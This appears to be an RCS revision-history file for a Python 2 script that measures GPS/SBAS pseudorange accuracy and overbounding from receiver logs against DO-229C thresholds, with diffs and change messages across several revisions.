print 'Support units:'
for unit in units:
print ' ', unit.__name__,
try:
m = version_re.search(unit.__version__)
print m.group(0)
except AttributeError:
print # unit doesn't have __version__
print
#-----------------------------------------------------------------------------
# classes
class PseudorangeAccuracyTest:
"""Calculates pseudorange accuracy using data from an XPR log file"""
def __init__(self, use_sbas=True):
self.use_sbas = use_sbas
self.last_rawlog_number = -1
self.num_tests_run = self.num_tests_passed = 0
self.prn_errs = {}
self.reset_test_results()
def set_parser_type(self, xpr_parser):
if xpr_parser:
print 'Using PXpress parser'
import pracc_xpr_parser
self.parser = pracc_xpr_parser.PseudorangeAccuracyXprParser()
else:
print 'Using ARINC parser'
import pracc_arinc_parser
self.parser = pracc_arinc_parser.PraccArincParser()
self.parser.use_sbas = self.use_sbas
self.parser.restart()
def set_test_type(self, test_accuracy):
self.test_accuracy = self.parser.test_accuracy = test_accuracy
def reset_test_results(self):
self.nis = self.m = 0
self.rms_pr = None
def get_test_name(self):
return ('overbounding', 'accuracy')[self.test_accuracy]
def write_ss_sigma(self):
try:
fname = self.get_out_fname()[:-7] + 'AvgSigma.csv'
except AttributeError:
return
f = open(fname, 'w')
#print "Average sigma noise during steady state"
#print " PRN Avg Sig Noise Count"
print >> f, "PRN,Avg Sig Noise,Count"
prns = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,
28,29,30,31,32,120,121,122,123,124,125,126,127,128,129,130,131,132,133,
134,135,136,137,138]
max_avg_gps_sig = -1.0
max_avg_sbas_sig = -1.0
for prn in prns:
try:
sum = 0.0
for ssn in self.ssn_data[prn]:
sum += ssn
avg_sig = sum/len(self.ssn_data[prn])
print >> f, "%d,%f,%d" % (prn, avg_sig, len(self.ssn_data[prn]))
if prn < MIN_SBAS_PRN:
if avg_sig > max_avg_gps_sig:
max_avg_gps_sig = avg_sig
else:
if avg_sig > max_avg_sbas_sig:
max_avg_sbas_sig = avg_sig
except KeyError:
print >> f, "%d,%f,%d" % (prn, -1, 0)
print >> f, "%d,%f,%d" % (0, max_avg_gps_sig, 0)
print >> f, "%d,%f,%d" % (0, max_avg_sbas_sig, 0)
f.close()
def check_passed(self):
"""Checks test results for pass/fail"""
passed = False
print '\n%s Test Result:' % (self.get_test_name().capitalize(), )
print ' RMS_PR for %i independent samples over %i intervals is %0.6f' % \
(self.nis, self.m, self.rms_pr)
if (self.nis < pass_thresholds[0][0]):
print ' FAIL due to having too few samples'
else:
for (threshold_num_samples, threshold) in pass_thresholds:
if (self.nis >= threshold_num_samples and \
self.rms_pr <= threshold):
passed = True
break
if passed:
print ' PASS'
else:
print ' FAIL due to excessive RMS_PR'
self.num_tests_run += 1
self.num_tests_passed += passed
return passed
def calculate(self):
"""Calculates pseudorange accuracy from data contained in the object"""
acc_data_dict = AccuracyDataDict()
msgs = self.parser.prn_msgs
prns = msgs.keys()
prns.sort()
print 'PRN measurement counts:\n ',
for prn in prns:
print '%d:%d' % (prn, len(msgs[prn])),
print
for prn in prns:
try:
svrange = self.svranges[prn]
except:
print 'No svrange data found for PRN', prn
continue
fname = 'pracc_pt_%s.txt' % (prn, )
f = open(fname, 'wt')
prn_msgs = self.parser.prn_msgs[prn]
# print 'PRN', prn, 'has', len(prn_msgs), 'measurements'
for svdata in prn_msgs[:-1]: #XXX
# get truth range at TOW closest to this svdata
index = svrange.get_tow_index(svdata.tow)
if index < 2:
print 'PRN %i: truth data not found at measurement TOW %f' % (prn, svdata.tow)
break
svtruth = svrange[index]
# get clock bias at TOW closest to this svdata
cbias = self.parser.cbiases.get(svdata.tow)
if abs(svdata.tow - cbias.tow) > 0.1:
print 'PRN %i: clock bias not found at measurement TOW %f' % (prn, svdata.tow)
break
# propagate truth range to this TOW
prev_svtruth = svrange[index - 1]
next_svtruth = svrange[index + 1]
timedelta = svdata.tow - cbias.bias - svtruth.tow
if abs(timedelta) > 1.0:
print 'PRN %i: excessive delta time of %f at TOW %f:' % \
(prn, timedelta, svdata.tow)
break
prop_truthrange = svtruth.range + svtruth.deltarange * timedelta \
+ (0.5 * ((next_svtruth.deltarange - svtruth.deltarange) \
/ (next_svtruth.tow - svtruth.tow)) * timedelta * timedelta)
# calculate error between measured range and propagated truth
# range and add it to the accuracy data dictionary
error = svdata.pr - prop_truthrange
try:
mbias = error / svtruth.deltarange
except ZeroDivisionError:
mbias = 0.0
print >> f, '%15.15f %15.15f %15.15f %15.15f' % (svdata.tow, error, mbias, svtruth.deltarange)
acc_data_dict.add_data(svdata.tow, prn, error, svdata.pr_sigma, svdata.pr_sigma_3b)
f.close()
return acc_data_dict.test(prns, self.fname, self.parser.excluded_prns,
not self.test_accuracy)
def test(self, reset=True, show_title=True, check=True):
if reset:
self.reset_test_results()
if show_title:
print '\n------------------------------------------------------------';
print 'Testing %s of %s' % (self.get_test_name(), self.fname)
self.parser.min_measurement_tow = None
#if self.test_accuracy:
# self.parser.min_measurement_tow = self.accuracy_test_tow + SETTLING_TIME_SEC
#else:
# self.parser.min_measurement_tow = self.overbounding_test_tow
#if ((self.overbounding_test_tow is not None) and
# (self.accuracy_test_tow is not None) and
# (self.overbounding_test_tow > self.accuracy_test_tow)):
# raise ValueError, 'Test start TOW must be less than or equal to power adjustment TOW'
print
self.parser.restart()
self.parser.main('', self.fname)
# self.dump()
(nis, m, rms_pr, prn_errs, ssn_data) = self.calculate()
# incorporate these RMS_PR statistics into self
if self.nis == 0:
self.rms_pr = rms_pr
else:
old_rms_pr = self.rms_pr
self.rms_pr = math.sqrt((self.m * self.rms_pr * self.rms_pr \
+ m * rms_pr * rms_pr) / (m + self.m))
self.nis += nis
self.m += m
if self.test_accuracy:
# incorporate these PRN errors into self
for prn in prn_errs.keys():
if not self.prn_errs.has_key(prn):
self.prn_errs[prn] = []
self.prn_errs[prn] += prn_errs[prn]
self.ssn_data = ssn_data
self.write_ss_sigma()
if check:
return self.check_passed()
else:
return False # assume failure
class PseudorangeAccuracyTestFromCommandLine(PseudorangeAccuracyTest):
"""Tests pseudorange accuracy of logs specified on the command line or a
'rawlog info' command file"""
def __init__(self):
PseudorangeAccuracyTest.__init__(self)
self.rawlog_info_dict = rawlog_info.RawlogInfoDict()
self.svranges = svranges.read()
def get_parms(self):
self.fname = 'rawlog%s.gps' % (self.rawlog_number, )
try:
info = self.rawlog_info_dict[self.rawlog_number]
self.overbounding_test_tow = info.tow1
self.accuracy_test_tow = info.tow2
self.test_min_signal = self.parser.min_signal = info.min_signal
print 'Settings for %s from TOW file %s:' % (self.fname, self.rawlog_info_dict.fname)
print ' Power setting :', { True:'min', False:'max' }[self.test_min_signal]
print ' Test start TOW :', self.overbounding_test_tow
print ' Power adjustment TOW :', self.accuracy_test_tow
except KeyError:
# print self.rawlog_info_dict.keys()
# print self.rawlog_number, type(self.rawlog_number)
if self.rawlog_number != self.last_rawlog_number:
while True:
s = raw_input('Test min or max signal power? [min|max] : ').lower()
if s == 'min':
self.test_min_signal = self.parser.min_signal = True
break
elif s == 'max':
self.test_min_signal = self.parser.min_signal = False
break
s = raw_input('Test start TOW for overbounding test? : ')
try:
self.overbounding_test_tow = float(s)
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
self.overbounding_test_tow = None
s = raw_input('Power adjustment TOW for accuracy test? : ')
try:
self.accuracy_test_tow = float(s)
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
self.accuracy_test_tow = None
self.last_rawlog_number = self.rawlog_number
if self.test_min_signal:
self.parser.excluded_prns = MIN_SIGNAL_EXCLUDED_PRNS
else:
self.parser.excluded_prns = []
def _test(self, rawlog_numbers, test_accuracy):
self.set_test_type(test_accuracy)
self.reset_test_results()
for self.rawlog_number in rawlog_numbers:
self.get_parms()
PseudorangeAccuracyTest.test(self, False, False);
if len(rawlog_numbers) > 1:
print '\nOverall %s test result for rawlogs %s:' % \
(('overbounding', 'accuracy')[test_accuracy], rawlog_numbers, )
return self.check_passed()
def test(self):
logger = stdout_logger.Logger('pracc_log.txt')
print_header()
pracc = PseudorangeAccuracyTest()
while True:
print '\n--------------------------------------------------------------------';
s = raw_input('Rawlog numbers (separated by spaces)? (Enter to quit) : ').strip()
if not s:
break
if s.lower() == 'a':
print 'Testing all'
sections = PseudorangeAccuracyTest.rawlog_info_dict.get_nums_by_section(True)
section_nums = sections.keys()
section_nums.sort()
for section in section_nums:
print '\n====================================================================';
print 'Testing section', section
print '\n------------------------------------------------------------';
print 'Testing overbounding of rawlogs', rawlog_numbers
self._test(rawlog_numbers, False)
print '\n------------------------------------------------------------';
print 'Testing accuracy of rawlogs', rawlog_numbers
self._test(rawlog_numbers, True)
else:
try:
rawlog_numbers = [number for number in s.split()]
except ValueError:
print 'Invalid rawlog number(s)'
self._test(rawlog_numbers, False)
self._test(rawlog_numbers, True)
print '\nTotal: Passed %i of %i tests' % \
(pracc.num_tests_passed, pracc.num_tests_run)
print '\nCombined PRN accuracy statistics for all tests:'
print_prn_errs(pracc.prn_errs)
logger.close()
class PseudorangeAccuracyTestFromCommandFile(PseudorangeAccuracyTest):
"""Tests pseudorange accuracy of a log file as specified by a command
file"""
def __init__(self, cmd_fnames):
PseudorangeAccuracyTest.__init__(self)
self.cmd_fnames = cmd_fnames
self.svranges_fname = ''
def get_parms(self):
"""Gets parameters from a command file"""
print 'Reading commands from', self.cmd_fname
cmds = [line.strip() for line in file(self.cmd_fname).readlines()]
if self.svranges_fname != cmds[0]: # line 1: truth file pathname
self.svranges = svranges.read(cmds[0])
self.svranges_fname = cmds[0]
self.fname = cmds[1] # line 2: log file pathname
# set parser type to XPR or ARINC depending on keywords in the file name
fname = self.fname.lower()
if 'a429' in fname or 'arinc' in fname or '.raw' in fname or '.csv' in fname:
xpr_parser = False # use ARINC parser
else:
xpr_parser = True # use XPR parser
self.set_parser_type(xpr_parser)
if (cmds[2].lower().startswith('min')): # line 3: min/max and excluded PRN (min only)
self.test_min_signal = self.parser.min_signal = True
self.parser.excluded_prns = [int(prn) for prn in cmds[2].split()[1:]]
else:
self.test_min_signal = self.parser.min_signal = False
self.parser.excluded_prns = []
#self.overbounding_test_tow = float(cmds[3]) # line 4: overbounding TOW
#self.accuracy_test_tow = float(cmds[4]) # line 5: accuracy TOW
AccuracyDataDict.SAMPLING_INTERVAL_SEC = float(cmds[3]) # line 6: sampling interval, in seconds
self.parser.MASK_ANGLE_DEG = float(cmds[4]) # line 7: mask angle, in degrees
try:
self.parser.max_tow = float(cmds[5]) # line 8: (optional) max TOW
except IndexError:
self.parser.max_tow = None
def get_out_fname(self):
out_fname = ''
for cmd_fname in self.cmd_fnames:
path, fname = os.path.split(cmd_fname)
if (fname.endswith('_in.txt')):
out_fname += fname[:-6]
else:
out_fname += os.path.splitext(fname)[0]
out_fname += 'out.txt'
return out_fname
def test(self):
"""Tests a log file as specified in the command file"""
# change to the directory specified with the first command file, if any
cwd = os.getcwd()
path, fname = os.path.split(self.cmd_fnames[0])
if path:
os.chdir(path)
self.cmd_fnames[0] = fname # remove path
# open output log file using a name derived from the command fnames
out_fname = self.get_out_fname()
print 'Writing output to', out_fname
logger = stdout_logger.Logger(out_fname)
print_header()
# test overbounding and accuracy
for test_type in (False, True):
self.reset_test_results()
for self.cmd_fname in self.cmd_fnames:
self.get_parms()
self.set_test_type(test_type)
PseudorangeAccuracyTest.test(self, False, False, \
len(self.cmd_fnames) == 1)
if len(self.cmd_fnames) > 1:
print '\nCombined %s test result for %s:' % \
(('overbounding', 'accuracy')[self.test_accuracy], \
' '.join(self.cmd_fnames))
self.check_passed()
logger.close()
# change back to original directory
os.chdir(cwd)
#-----------------------------------------------------------------------------
# main
if __name__ == '__main__':
if (len(sys.argv) > 1):
PseudorangeAccuracyTestFromCommandFile(sys.argv[1:]).test()
else:
PseudorangeAccuracyTestFromCommandLine().test()
@
1.36
log
@@
text
@d20 1
a20 1
__version__ = '$Revision: 1.36 $'
d99 2
a100 1
max_avg_sig = -1.0
d108 6
a113 2
if avg_sig > max_avg_sig:
max_avg_sig = avg_sig
d116 2
a117 1
print >> f, "%d,%f,%d" % (0, max_avg_sig, 0)
d188 1
a188 1
/ (next_svtruth.tow - svtruth.tow)) * timedelta * timedelta);
d209 5
a213 4
if self.test_accuracy:
self.parser.min_measurement_tow = self.accuracy_test_tow + SETTLING_TIME_SEC
else:
self.parser.min_measurement_tow = self.overbounding_test_tow
d215 4
a218 4
if ((self.overbounding_test_tow is not None) and
(self.accuracy_test_tow is not None) and
(self.overbounding_test_tow > self.accuracy_test_tow)):
raise ValueError, 'Test start TOW must be less than or equal to power adjustment TOW'
d388 4
a391 4
self.overbounding_test_tow = float(cmds[3]) # line 4: overbounding TOW
self.accuracy_test_tow = float(cmds[4]) # line 5: accuracy TOW
AccuracyDataDict.SAMPLING_INTERVAL_SEC = float(cmds[5]) # line 6: sampling interval, in seconds
self.parser.MASK_ANGLE_DEG = float(cmds[6]) # line 7: mask angle, in degrees
d393 1
a393 1
self.parser.max_tow = float(cmds[7]) # line 8: (optional) max TOW
d450 1
a450 1
@
1.35
log
@Update
@
text
@d174 1
d181 2
a182 1
+ (0.5 * (svtruth.deltarange - prev_svtruth.deltarange) * timedelta * timedelta)
d191 1
a191 1
print >> f, '%15.15f %15.15f %15.15f' % (svdata.tow, error, mbias)
d443 1
a443 1
@
1.34
log
@Steady state noise figures are written to a file. (request from <NAME>)@
text
@d88 1
a88 1
fname = self.get_out_fname2()[:-7] + 'AvgSigma.csv'
@
1.33
log
@1. fix the test defaulting to min signal for sigma
2. prints the average steady state noise for the prns (DO229C 2.5.8.2, No 8)@
text
@d86 9
a94 8
def print_ss_sigma(self):
print "Average sigma noise during steady state"
print " PRN Avg Sig Noise Count"
for prn in self.ssn_data:
sum = 0.0
for ssn in self.ssn_data[prn]:
sum += ssn
print " %4d %12.6f %4i" % (prn, sum/len(self.ssn_data[prn]), len(self.ssn_data[prn]))
d96 18
d235 1
a235 1
self.print_ss_sigma()
@
1.32
log
@added print_header function to show the version numbers of all units@
text
@d85 10
a94 1
d171 1
a171 1
acc_data_dict.add_data(svdata.tow, prn, error, svdata.pr_sigma)
d197 1
a197 1
(nis, m, rms_pr, prn_errs) = self.calculate()
d215 2
d238 1
a238 1
self.test_min_signal = info.min_signal
d250 1
a250 1
self.test_min_signal = True
d253 1
a253 1
self.test_min_signal = False
d355 1
a355 1
self.test_min_signal = True
d358 1
a358 1
self.test_min_signal = False
@
1.31
log
@modified operations on SAMPLING_INTERVAL_SEC and MASK_ANGLE_DEG per changes to other modules@
text
@d26 1
a26 1
import svranges, rawlog_info, stats, stdout_logger
d28 1
d30 20
a49 5
# print title
m = re.search(r'[\d\.]+', __version__)
print '-------------------------------------------------------------------------------'
print 'Pseudorange Accuracy v%s' % (m.group(0), )
print
d278 1
d383 1
@
1.30
log
@modified logic that determines whether a log file is PXpress or ARINC@
text
@d334 2
a335 3
global SAMPLING_INTERVAL_SEC, MASK_ANGLE_DEG
SAMPLING_INTERVAL_SEC = float(cmds[5]) # line 6: sampling interval, in seconds
MASK_ANGLE_DEG = float(cmds[6]) # line 7: mask angle, in degrees
@
1.29
log
@@
text
@d318 7
a324 4
# set parser type to ARINC if the log file pathname ends with '.raw'
# or '.csv'; otherwise, set it to XPR
self.set_parser_type(not os.path.splitext(self.fname)[1].lower() \
in ('.raw', '.csv'))
@
1.28
log
@reworked for use with ARINC, mostly by breaking off pieces as new pracc_data, pracc_xpr_parser modules@
text
@d50 1
d54 1
d95 2
a96 1
prns = self.parser.prn_msgs.keys()
d98 2
a99 1
print 'PRNs with measurements:', prns
d101 4
d113 1
d318 4
a321 3
# set parser type to ARINC if the log file pathname ends with '.csv'
# otherwise, XPR is assumed
self.set_parser_type(not self.fname.lower().endswith('.csv'))
@
1.27
log
@added an optional "max TOW" feature to tje command-file format to allow processing to be halted at some maximum TOW value@
text
@d27 1
a27 1
from mode_changes import ModeChanges as Parser
a33 70
#-----------------------------------------------------------------------------
# constants
MIN_GPS_SIGNAL_SIGMA = 0.36 # DO-229C 2.1.4.1.4, Designator-A
MAX_GPS_SIGNAL_SIGMA = 0.15 # DO-229C 2.1.4.1.4, Designator-A
MIN_WAAS_SIGNAL_SIGMA = 1.8 # DO-229C 2.1.4.1.5
MAX_WAAS_SIGNAL_SIGMA = 1.0 # DO-229C 2.1.4.1.5
SAMPLING_INTERVAL_SEC = 200.0 # DO-229C 2.5.8.2.1, Note 1
SETTLING_TIME_SEC = 360.0 # DO-229C 2.1.4.1.3
MIN_SBAS_PRN = 120 # DO-229C Table A-1
pass_thresholds = ( # DO-229C Table 2-26
# NIS, Pass Threshold
( 50, 0.955 ),
( 75, 0.982 ),
( 100, 0.998 ),
( 150, 1.017 ),
( 200, 1.028 ),
( 300, 1.042 ),
( 400, 1.050 ),
( 500, 1.055 )
# Table 2-26 extends to 2000, but we'll never actually use that many
)
MIN_NUM_PRNS = 4
MIN_SIGNAL_EXCLUDED_PRNS = [31]
MIN_PR_SIGMA = 50.0 # PRNs with greater sigma's don't have iono corrections
LEVEL1_CORE_TOW_ADJUST_SEC = 0.001
LEVEL2_CORE_TOW_ADJUST_SEC = 0.0
MASK_ANGLE_DEG = 0.0
#-----------------------------------------------------------------------------
# functions
def is_sbas(prn):
if prn >= MIN_SBAS_PRN:
return True
else:
return False
def pr_noise_sigma(prn, min_signal=True):
if is_sbas(prn):
if min_signal:
return MIN_WAAS_SIGNAL_SIGMA
else:
return MAX_WAAS_SIGNAL_SIGMA
else:
if min_signal:
return MIN_GPS_SIGNAL_SIGMA
else:
return MAX_GPS_SIGNAL_SIGMA
def print_prn_errs(prn_errs):
"""print error statistics for each PRN and for all PRNs"""
prns = prn_errs.keys()
prns.sort()
all_errs = []
print ' PRN Avg Err RMS Err Err Std Count'
for prn in prns:
all_errs += prn_errs[prn]
st = stats.Stats(prn_errs[prn])
print ' %4d %11.6f %11.6f %11.6f %6i' % \
(prn, st.avg, st.rms, st.std, len(prn_errs[prn]))
st = stats.Stats(all_errs)
print ' All %11.6f %11.6f %11.6f %6i' % \
(st.avg, st.rms, st.std, len(all_errs))
d38 1
a38 219
class ClockBias:
"""Holds a clock bias and TOW pair"""
def __init__(self, tow, bias):
self.tow = tow
self.bias = bias
class ClockBiases(list):
"""Holds a list of ClockBias'es"""
def __init__(self):
self.cache = {}
def _find(self, tow):
"""Finds the clock bias that's closest to the given TOW"""
last_cbias = self[0]
for cbias in self:
if cbias.tow > tow:
if abs(cbias.tow - tow) < abs(last_cbias.tow - tow):
self.cache[tow] = cbias # this one has the closest tow
else:
self.cache[tow] = last_cbias # the previous one had the closest tow
return
last_cbias = cbias
self.cache[tow] = self[-1] # the last entry is the closest
def get(self, tow):
"""Gets the clock bias nearest to the given TOW from the cache or using _find."""
if not self.cache.has_key(tow):
self._find(tow)
return self.cache[tow]
class Svdata:
"""Holds pseudorange and related data for a single measurement"""
def __init__(self, timestamp, tow, pr, pr_sigma):
self.timestamp = timestamp
self.tow = tow
self.pr = pr
self.pr_sigma = pr_sigma
def __str__(self):
return '%s : %0.3f %0.3f %0.6f' % \
(self.timestamp, self.tow, self.pr, self.pr_sigma)
class AccuracyData:
"""Holds accuracy data from a single measurement"""
def __init__(self, prn, pr_err, pr_sigma):
self.prn = prn
self.pr_err = pr_err
self.pr_sigma = pr_sigma
class AccuracyDataList(list):
"""Implements a list of accuracy data taken from some set of measurements"""
def __init__(self, data):
self.append(data)
def bias(self):
sum = 0.0
for data in self:
sum += data.pr_err
return sum / len(self)
def _sigma_squared_norm(self, i):
N = len(self)
N_m1_sqrd = (N - 1) * (N - 1)
sum = 0.0
for k in xrange(0, N):
sigma_sqrd = math.pow(self[k].pr_sigma, 2.0)
if k == i:
sum += N_m1_sqrd * sigma_sqrd
else:
sum += sigma_sqrd
return sum / (N * N)
def norm_err_sqrd(self):
"""Calculates the RMS_PR value specified in RTCA/DO-229C 2.5.8.2.1, item 6 (page 227)"""
N = len(self)
sum = 0.0
for i in xrange(0, N):
sum += math.pow(self[i].pr_err, 2.0) / (self._sigma_squared_norm(i) * N)
return sum
class AccuracyDataDict(dict):
"""Implements a dictionary of accuracy data, indexed by TOW """
def add_data(self, tow, prn, pr_err, pr_sigma):
"""Adds a data point to the object"""
data = AccuracyData(prn, pr_err, pr_sigma)
try:
self[tow].append(data)
except KeyError:
# this TOW is new: create a new AccuracyDataList for it
self[tow] = AccuracyDataList(data)
def test(self, prns, rawlog_fname, excluded_prns, write):
"""Prints and writes summaries of the object's accuracy data. Returns
True if the data passes the test requirements."""
print '\nSummary of %s:' % (rawlog_fname)
tows = self.keys()
tows.sort()
print ' Sampling every %0.1f seconds starting at TOW %0.1f' \
% (SAMPLING_INTERVAL_SEC, tows[0])
if excluded_prns:
print ' PRNs', excluded_prns, 'have been excluded'
else:
print ' No PRNs have been excluded'
# extract rawlog serial number, if any, from rawlog_fname
m = re.search(r'\d+', rawlog_fname)
if m:
rawlog_id = m.group(0)
else:
rawlog_id = ''
if write:
# write combined error file header
fname = 'combined' + rawlog_id + '.csv'
f = open(fname, 'w')
print ' Writing combined errors to', fname
print >> f, 'TOW',
prns.sort()
for prn in prns:
print >> f, ',%3i' % (prn, ),
print >> f
# calculate and write unbiased error data
err_sqrd_sum = 0.0
biases = []
last_tow = None
prn_errs = {}
irt_data = {}
num_samples = nis = 0
tows = self.keys()
tows.sort()
m = 0
for tow in tows:
accuracy_data_list = self[tow]
num_samples += len(accuracy_data_list)
tow_prn_errs = {}
if (len(accuracy_data_list) >= MIN_NUM_PRNS) and \
((last_tow is None) or ((tow - last_tow) >= SAMPLING_INTERVAL_SEC)):
# calculate and remove common-mode errors
bias = accuracy_data_list.bias()
biases.append((tow, bias))
for data in accuracy_data_list:
data.pr_err -= bias
tow_prn_errs[data.prn] = data.pr_err
try:
prn_errs[data.prn].append(data.pr_err)
except KeyError:
prn_errs[data.prn] = [data.pr_err]
nis += len(accuracy_data_list) - 1
norm_err_sqrd = accuracy_data_list.norm_err_sqrd()
err_sqrd_sum += norm_err_sqrd
# stash data for interference rejection test (DO-229C 2.5.7.3)
for data in accuracy_data_list:
nj = len(accuracy_data_list)
fom = 5.33 * (nj - 1) / nj * data.pr_sigma
err_data = (tow, bias, data.pr_err, nj, data.pr_sigma,
norm_err_sqrd, fom)
try:
irt_data[data.prn].append(err_data)
except KeyError:
irt_data[data.prn] = [err_data]
m += 1
last_tow = tow
if write:
# write line in combined error file
print >> f, '%f,' % (tow, ),
for prn in prns:
try:
err = tow_prn_errs[prn]
except KeyError:
print ' PRN %3i not found at TOW %0.1f' % (prn, tow)
err = 5.0 # fabricate a large error
print >> f, '%9.6f,' % (err, ),
print >> f
if write:
f.close()
# write bias file
fname = 'bias' + rawlog_id + '.txt'
print ' Writing biases to', fname
f2 = open(fname, 'w')
for (tow, bias) in biases:
print >> f2, tow, bias
f2.close()
print ' Average bias is', stats.Stats([bias[1] for bias in biases]).avg
try:
rms_pr = math.sqrt(err_sqrd_sum / m)
print ' RMS_PR for %i independent samples of %i over %i intervals is %0.6f' % \
(nis, num_samples, m, rms_pr)
except ZeroDivisionError:
rms_pr = 1000.0
print ' No pseudorange accuracy samples were found'
print_prn_errs(prn_errs)
if write:
# write interference rejection test files
for prn in irt_data:
fname = 'irt_data_' + str(prn) + '.txt'
f = open(fname, 'w')
for err_data in irt_data[prn]:
print >> f, '%8.1f %0.3f %9.6f %2i %f %f %f' % err_data
f.close()
return (nis, m, rms_pr, prn_errs)
class PseudorangeAccuracyTest(Parser):
d41 2
a42 8
verbose = True
packet31_navigation_modes = ['Navigation', 'Non-precision_SBAS_Navigation',
'Dead-Reckoning', 'Precision_SBAS_Navigation']
def __init__(self, test_accuracy=True, use_sbas=True):
Parser.__init__(self)
self.test_accuracy = test_accuracy
self.use_sbas = use_sbas
a45 1
self.max_tow = None
a46 1
self.restart()
d48 13
a63 9
def restart(self):
self.msg1B = self.msg30 = self.msg32 = self.msg3A = self.msg3B = None
self.msg55s = []
self.prn_msgs = {} # a dict of lists of PRN msgs keyed by PRN
self.cbiases = ClockBiases()
self.navigating = False
self.accepting_measurements = False
self.tow = 0.0
a88 15
def dump(self):
"""Dumps the messages which have been parsed for each PRN to separate files"""
for prn in self.prn_msgs.keys():
if self.test_accuracy:
suffix = 'acc'
else:
suffix = 'ob'
fname = 'msgs_%s_%s.txt' % (prn, suffix)
print 'Writing', fname, '...',
f = open(fname, 'wt')
for msg in self.prn_msgs[prn]:
print >> f, msg
f.close()
print 'done.'
d93 1
a93 1
prns = self.prn_msgs.keys()
d104 1
a104 1
prn_msgs = self.prn_msgs[prn]
d114 1
a114 1
cbias = self.cbiases.get(svdata.tow)
d139 1
a139 1
return acc_data_dict.test(prns, self.fname, self.excluded_prns,
a141 77
def add_svdata(self, timestamp, prn, tow, pr, pr_sigma):
"""Adds a set of measurement data to the object"""
svdata = Svdata(timestamp, tow, pr, pr_sigma)
try:
self.prn_msgs[prn].append(svdata)
except KeyError:
# this is a new PRN: make a new entry to hold it
self.prn_msgs[prn] = [svdata]
# handle XPR packets 1B, 21, 25, 29 from Level 1 core:
def handle1B(self, msg):
self.msg1B = msg
def handle21(self, msg):
if self.msg1B is None:
return
cn0 = None
for status in self.msg1B.statuses:
if status.prn == msg.prn:
cn0 = status.carrier_to_noise_ratio
break
if cn0 is None:
print 'No CN0 is available for message:', msg.timestamp()
else:
self.add_svdata(msg.timestamp(), msg.prn,
msg.tow + LEVEL1_CORE_TOW_ADJUST_SEC, msg.rk_pr,
pr_noise_sigma(msg.prn))
def handle25(self, msg):
self.cbiases.append(ClockBias(msg.mk_tow + LEVEL1_CORE_TOW_ADJUST_SEC, msg.mk_cbias))
def handle29(self, msg):
if self.verbose and (msg.fault_type == 90): # (msg.fault_type == 90 or msg.fault_type == 170):
print msg.line, # includes newline
# handle EXPR packets 30, 31, 32 packets from Level 2 core:
def handle30(self, msg):
self.msg30 = msg
def handle31(self, msg):
was_navigating = self.navigating
self.navigating = (msg.mode in self.packet31_navigation_modes)
if self.navigating and not was_navigating:
print 'Navigating at TOW', self.tow
def handle32(self, msg):
if msg.at_pps:
# process measurements from the prior second
self.process_measurements()
# mark old messages as invalid
self.msg30 = self.msg3A = self.msg3B = None
# save the new msg32 for the next processing cycle
self.msg32 = msg
def handle3A(self, msg):
if self.msg3A is None or \
self.msg3A.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3A = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3A.channel_stat += msg.channel_stat
def handle3B(self, msg):
if self.msg3B is None or \
self.msg3B.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3B = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3B.measurements += msg.measurements
def handle55(self, msg):
self.msg55s.append(msg)
d149 1
a149 1
self.min_measurement_tow = self.accuracy_test_tow + SETTLING_TIME_SEC
d151 1
a151 1
self.min_measurement_tow = self.overbounding_test_tow
d159 1
a159 1
self.restart()
d161 1
a161 1
Parser.main(self, '', self.fname)
a186 128
def process_measurements(self):
# check if we have a valid msg32
if self.msg32 is None:
return
if not self.msg32.at_pps:
return # not at PPS
if not self.msg32.validity & 0x20:
return # time fields not valid
# calculate TOW and check if measurements can be used
self.tow = self.msg32.gps_tow + LEVEL2_CORE_TOW_ADJUST_SEC
if self.max_tow is not None and self.tow > self.max_tow:
return
if self.min_measurement_tow is None:
if self.navigating:
self.min_measurement_tow = self.tow + SETTLING_TIME_SEC
print 'Minimum measurement TOW is', self.min_measurement_tow
return
elif self.tow < self.min_measurement_tow:
return # waiting for measurements to settle
seq_num = self.msg32.time_mark_sequence_number
# process msg30 only if msg3B isn't available
if self.msg3B is None:
if self.msg30 is not None and \
self.msg30.time_mark_sequence_number == seq_num:
self.process_measurements30()
return
# verify that we have a 3A
if self.msg3A is None:
print 'Missing 3A at', self.msg32.timestamp()
return
# verify that 3A and 3B have the same sequence number as 32
if self.msg3A.time_mark_sequence_number != seq_num or \
self.msg3B.time_mark_sequence_number != seq_num:
print 'Time mark sequence number mismatch at %s: %d, %d, %d' % \
(self.msg32.timestamp(), seq_num, self.msg3A.time_mark_sequence_number,
self.msg3B.time_mark_sequence_number)
return
# verify that 3A is complete
if len(self.msg3A.channel_stat) != self.msg3A.number_of_channels_in_receiver:
print 'Incomplete 3A at %s: %d of %d' % \
(self.msg3A.timestamp(),
len(self.msg3A.channel_stat), self.msg3A.number_of_channels_in_receiver)
return
# verify that 3B is complete
if len(self.msg3B.measurements) != self.msg3B.total_number_of_measurements:
print 'Incomplete 3B at %s: %d of %d' % \
(self.msg3B.timestamp(),
len(self.msg3B.measurements), self.msg3B.total_number_of_measurements)
return
# all pre-conditions have been met: process 3B's measurements
self.process_measurements3B()
def process_measurements30(self):
for meas in self.msg30.measurements:
if (meas.validity_mask & 0x08) and (meas.prn not in self.excluded_prns) \
and (meas.pseudorange_sigma < MIN_PR_SIGMA) \
and (self.use_sbas or not is_sbas(meas.prn)) \
and (meas.elevation >= MASK_ANGLE_DEG):
assert(meas.health == 'NORM')
pseudorange = meas.pseudorange
if self.test_accuracy:
pr_sigma = pr_noise_sigma(meas.prn)
else:
# find the sigma noise value for this PRN in the current list of message 55s
pr_sigma = None
for msg55 in self.msg55s:
if msg55.prn == meas.prn:
try:
pr_sigma = msg55.sigma_noise_m
except AttributeError, err:
print 'self.msg55s:', self.msg55s
print 'msg55.line:', msg55.line
print 'msg55.timestamp():', msg55.timestamp()
assert(False)
break
if not self.test_accuracy and pr_sigma == None:
if self.verbose:
print 'No sigma_noise value is available for PRN', \
meas.prn, 'at message:', self.msg32.timestamp()
else:
self.add_svdata(self.msg30.timestamp(), meas.prn, self.tow,
pseudorange, pr_sigma)
self.msg55s = []
